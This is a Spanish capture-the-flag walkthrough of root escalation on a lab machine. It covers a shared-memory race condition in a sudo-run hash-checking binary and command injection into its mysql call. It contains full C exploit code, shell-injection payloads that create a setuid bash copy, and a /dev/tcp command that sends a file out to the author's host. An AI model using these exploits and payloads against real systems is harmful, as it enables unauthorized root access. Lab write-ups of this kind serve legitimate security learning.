reader@checker:~$ sudo -l
Matching Defaults entries for reader on checker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User reader may run the following commands on checker:
(ALL) NOPASSWD: /opt/hash-checker/check-leak.sh *
Viendo el contenido del script check-leak.sh
, podemos ver las instrucciones que contiene, donde ejecuta check_leak
enviando un nombre de usuario. Además podemos notar que está cargando el archivo .env
reader@checker:/opt/hash-checker$ cat check-leak.sh
#!/bin/bash
source `dirname $0`/.env
USER_NAME=$(/usr/bin/echo "$1" | /usr/bin/tr -dc '[:alnum:]')
/opt/hash-checker/check_leak "$USER_NAME"
Veremos algunos archivos dentro del directorio hash-checker
, donde solo tenemos capacidad para leer check_leak
, check-leak.sh
y leaked_hashes.txt
reader@checker:~$ ls -la /opt/hash-checker/
total 68
drwxr-xr-x 2 root root 4096 Jan 30 17:09 .
drwxr-xr-x 5 root root 4096 Jan 30 17:04 ..
-r-------- 1 root root 118 Jan 30 17:07 .env
-rwxr--r-- 1 root root 141 Jan 30 17:04 check-leak.sh
-rwxr--r-- 1 root root 42376 Jan 30 17:02 check_leak
-rwx------ 1 root root 750 Jan 30 17:07 cleanup.sh
-rw-r--r-- 1 root root 1464 Jan 30 17:09 leaked_hashes.txt
Este último archivo parece ser que contiene hashes conocidos de la base de datos de TeamPass
que explotamos anteriormente, porque al validar los usuarios que vimos podemos ver que bob
tiene su contraseña comprometida
reader@checker:/opt/hash-checker$ sudo ./check-leak.sh admin
User is safe.
reader@checker:/opt/hash-checker$ sudo ./check-leak.sh bob
Password is leaked!
Esto es interesante para saber cómo se podría estar comportando el binario check_leak
, que según esto parece conectarse con TeamPass
. Si buscamos caracteres imprimibles dentro del binario, podemos ver que efectivamente hace consultas SQL
a la base de datos
reader@checker:/opt/hash-checker$ strings check_leak | grep -iE 'select|mysql \-u'4
SELECT pw FROM teampass_users WHERE login = '%s';
mysql -u %s -D %s -s -N -e 'select email from teampass_users where pw = "%s"'
File Transfer
Transferiremos el binario check_leak
a nuestra máquina víctima para analizarlo en profundidad. Primeramente pondremos un puerto a la escucha para recibir el ejecutable, en mi caso elegí el puerto 8000
, recuerda que no debe estar ocupado por otro servicio
nc -lvnp 8000
Ahora enviamos el ejecutable abriendo una conexión TCP hacia nuestra máquina
reader@checker:/opt/hash-checker$ cat check_leak > /dev/tcp/10.10.14.57/8000
Podemos verificar la integridad del archivo con el comando md5sum
, donde calculamos el hash MD5
resultante, ambos deben ser iguales
reader@checker:/opt/hash-checker$ md5sum check_leak
79a10fd7f9f7eef022f9aaf4c2c1d56c check_leak
root@parrot:~# md5sum check_leak
79a10fd7f9f7eef022f9aaf4c2c1d56c check_leak
Binary Analysis - ghidra
Usaremos la herramienta ghidra
para ver el código del ejecutable y ver su lógica. Si consultamos las funciones definidas, notaremos que efectivamente se conecta a la base de datos de TeamPass
haciendo consultas SQL
Race Condition
En Linux, la memoria compartida (shared memory) es un mecanismo de comunicación entre procesos (IPC) que permite a diferentes procesos acceder y modificar la misma región de memoria
Dentro de la función main()
estaría definida la siguiente lógica:
- Si el hash del usuario existe dentro del archivo
leaked_hashes.txt
. Se inicia la funciónnotify_user()
- Antes de notificar al usuario, el programa almacena el hash en la memoria compartida utilizando la función
write_to_shm()
- Se espera un segundo antes de limpiar la memoria compartida, esto puede ocasionar
race condition
Race Condition es una vulnerabilidad que ocurre cuando un sistema que maneja tareas en una secuencia específica es forzado a realizar dos o más operaciones simultáneamente.
Esto nos permitiría tomar ventaja del intervalo de tiempo que se da entre que el hash está en la memoria compartida y el momento en el que desaparece dependiendo de los permisos que estén configurados
uVar2 = write_to_shm(__ptr); # Escribe en la memoria compartida
printf("Using the shared memory 0x%X as temp location\n",(ulong)uVar2);
if (DAT_8001913c != '\0') {
__asan_report_load8(&stdout);
}
fflush(stdout);
sleep(1); # Potencialmente peligroso
notify_user(pcVar3,pcVar4,pcVar5,pcVar6,uVar2);
clear_shared_memory(uVar2); # Limpieza luego de esperar un segundo
Shared Memory Perms
Dentro de la función write_to_shm()
encontraremos la siguiente línea
__shmid = shmget(iVar2 % 0xfffff,0x400,0x3b6);
La función
shmget()
en C se utiliza para obtener acceso a un segmento de memoria compartida, ya sea creando uno nuevo o localizando uno existente en base a una clave dada.
Esta sería la firma de la función shmget
int shmget(key_t key, size_t size, int shmflg);
key
: Un valor clave de tipokey_t
que identifica el segmento de memoria compartidasize
: El tamaño deseado del segmento de memoria compartida en bytesshmflg
: Define los permisos de creación y de acceso al segmento
En este contexto, shm_get
define unos permisos: 0x3b6
0x3b6
en octal: Permisos666
para el segmento de memoria, o sea, tenemos acceso al segmento con lectura y escritura
Reading Shared Memory
Podemos leer la memoria compartida con el comando ipcs -m
, en este caso lo ejecutamos cada 1
segundo, puedes también usar while true
reader@checker:/opt/hash-checker$ watch -n 1 ipcs -m
Ejecutaremos el binario para cargar el hash en la memoria compartida desde otra sesión con ssh
reader@checker:~$ sudo /opt/hash-checker/check-leak.sh bob
Password is leaked!
Using the shared memory 0x1AFD6 as temp location
User will be notified via bob@checker.htb
Veremos el valor de la dirección de memoria, además del usuario que lo ejecuta y los permisos, que en este caso es root
porque lo estamos haciendo con sudo
------ Shared Memory Segments --------
key shmid owner perms bytes nattch status
0x0001afd6 32779 root 666 1024 0
Con la ayuda de deepseek
rápidamente obtuve un script en C que accede a la memoria compartida para leer datos que se encuentren cargados en un segmento
La variable
segment_id
corresponde al valor deshmid
(Identificador del segmento de la memoria compartida), por lo que debemos considerar aumentar su valor en1
a medida que ejecutamos el scriptcheck-leak.sh
poc.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/ipc.h>
#include <sys/shm.h>
int main(int argc, char *argv[]) {
// Definimos el id del segmento de memoria: que lo obtenemos con:
// |-> reader@checker:/tmp$ watch -n 1 ipcs -m
int segment_id = 1;
// Adjuntar memoria compartida
char *shm_ptr = (char*) shmat(segment_id, NULL, 0);
// Manejo de error
if (shm_ptr == (char*)-1) {
perror("shmat");
return 1;
}
// Mensaje de comprobación
printf("Contenido de la memoria compartida: %s\n", shm_ptr);
// Desvincular (sin eliminar el segmento)
shmdt(shm_ptr);
return 0;
}
En mi caso ejecuté el binario 1
vez antes de ejecutar el script que se encarga de leer la memoria compartida, por lo que en el siguiente ejemplo tuve que enviar el número 1
(comienza en 0
) como id
.
Compilaremos el script en la máquina víctima para poder ejecutarlo
gcc poc.c -o poc
Antes de volver a ejecutar check-leak.sh
con sudo
, ejecutamos nuestro script, que estará intentando leer la memoria compartida constantemente, hasta que ejecutemos check-leak.sh
reader@checker:/tmp$ while true; do ./poc && break; done
shmat: Invalid argument
shmat: Invalid argument
...
Como el hash del usuario bob
está filtrado, debemos usarlo en cada ejecución de check-leak.sh
reader@checker:~$ sudo /opt/hash-checker/check-leak.sh bob
Password is leaked!
Using the shared memory 0x15EA as temp location
User will be notified via bob@checker.htb
Al volver a ejecutar check-leak.sh
con el programa poc
corriendo en la otra sesión, vemos lo que esperábamos, el hash del usuario bob
cargado en el segmento de memoria
...
Contenido de la memoria compartida: Leaked hash detected at Mon Jun 2 18:21:07 2025 > $2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy
No tiene sentido intentar crackear este hash porque ya lo habíamos hecho previamente, solo estamos poniendo en práctica los conceptos que explotaremos más adelante
Command Injection
Dentro de la función notify_user()
, podemos ver la siguiente línea donde en su contexto no parece estar sanitizada, siendo posiblemente vulnerable a command injection
iVar2 = snprintf((char *)0x0,0,
"mysql -u %s -D %s -s -N -e \'select email from teampass_users where pw = \"%s\"\'"
,param_2,param_4,uVar5)
Proof of Concept
Modificaremos el exploit para que en vez de leer el contenido del segmento de la memoria compartida, intente ejecutar un comando enviándolo como parámetro a la línea de código anterior que ejecuta mysql
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/shm.h>
#include <sys/stat.h>
int main() {
// Definimos el id del segmento de memoria, que lo obtenemos con:
// |-> reader@checker:/tmp$ watch -n 1 ipcs -m
int segment_id = 2;
// Adjuntar memoria compartida
char *shm_ptr = (char*) shmat(segment_id, NULL, 0);
// Manejo de error
if (shm_ptr == (char*)-1) {
perror("shmat");
return 1;
}
// Eliminar saltos de línea del contenido original
size_t len = strlen(shm_ptr);
if (len > 0 && shm_ptr[len - 1] == '\n') {
shm_ptr[len - 1] = '\0';
}
// Definimos lo que vamos a añadir a la memoria compartida
const char *cmd = "'; touch /tmp/test; #";
// Añadimos el contenido
strcat(shm_ptr, cmd);
// Mensaje de comprobación
printf("Contenido de la memoria compartida: %s\n", shm_ptr);
// Desvincular
if (shmdt(shm_ptr) == -1) {
perror("shmdt");
return 1;
}
return 0;
}
Como se están realizando consultas SQL
para obtener el hash del usuario que enviamos, debemos escapar de la query. En mi caso, intentaré cerrar la consulta e inyectar un comando que cree un archivo vacío en /tmp
a modo de comprobación.
De esta forma, cuando ejecutemos el exploit, el comando de mysql
que ejecuta el programa check_leak
debería hacer lo siguiente
mysql -u %s -D %s -s -N -e 'select email from teampass_users where pw = "'; touch /tmp/test; # Comentario que evita error con la comilla"'
Exploiting
Modificaremos el comando para hacer una copia de bash
en el directorio /tmp
, además de hacerla siud
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/shm.h>
#include <sys/stat.h>
int main() {
// Definimos el id del segmento de memoria
// |-> reader@checker:/tmp$ watch -n 1 ipcs -m
int segment_id = 3;
// Adjuntar memoria compartida
char *shm_ptr = (char*) shmat(segment_id, NULL, 0);
// Manejo de error
if (shm_ptr == (char*)-1) {
perror("shmat");
return 1;
}
// Eliminar saltos de línea del contenido original
size_t len = strlen(shm_ptr);
if (len > 0 && shm_ptr[len - 1] == '\n') {
shm_ptr[len - 1] = '\0';
}
// Definimos lo que vamos a añadir a la memoria compartida
const char *cmd = "'; cp /bin/bash /tmp/fakebash; chmod 4755 /tmp/fakebash; #";
// Añadimos el contenido
strcat(shm_ptr, cmd);
// Mensaje de comprobación
printf("Contenido de la memoria compartida: %s\n", shm_ptr);
// Desvincular
if (shmdt(shm_ptr) == -1) {
perror("shmdt");
return 1;
}
return 0;
}
Ahora debemos compilar nuestro exploit. Por cada cambio que hagamos en el exploit debemos volver a compilarlo
reader@checker:/tmp$ gcc exploit.c -o shm_exec
Root Time
Lanzaremos el exploit a modo de espera de la ejecución del binario /opt/check-leak.sh
while true; do ./shm_exec && break; done
shmat: Invalid argument
shmat: Invalid argument
shmat: Invalid argument
Ahora ejecutamos el binario, deberíamos ver un error de sintaxis de mysql
reader@checker:~$ sudo /opt/hash-checker/check-leak.sh bob
Password is leaked!
Using the shared memory 0x7FB7D as temp location
ERROR 1064 (42000) at line 1: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy' at line 1
Failed to read result from the db
Veremos el mensaje durante la ejecución del exploit, esto indica que podría haber funcionado
while true; do ./shm_exec && break; done
shmat: Invalid argument
shmat: Invalid argument
shmat: Invalid argument
Contenido de la memoria compartida: Leaked hash detected at Mon Jun 2 16:05:23 2025 > $2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy'; cp /bin/bash /tmp/fakebash; chmod 4755 /tmp/fakebash; #
Si listamos /tmp
, podemos ver que se ha creado fakebash
, y es siud
. Usemos esta copia de bash
para escalar a root
reader@checker:~$ /tmp/fakebash -p
fakebash-5.1# id
uid=1000(reader) gid=1000(reader) euid=0(root) groups=1000(reader)
Ya podremos ver la flag del sistema y ya habríamos concluido la máquina, podemos eliminar al copia de bash
y nuestro exploit para dejar limpio el sistema
fakebash-5.1# cat /root/root.txt
27c...
Muchas gracias por leer y espero que hayas aprendido con esa guía, te dejo la cita random del día:
The bird of paradise alights only upon the hand that does not grasp. — John Berry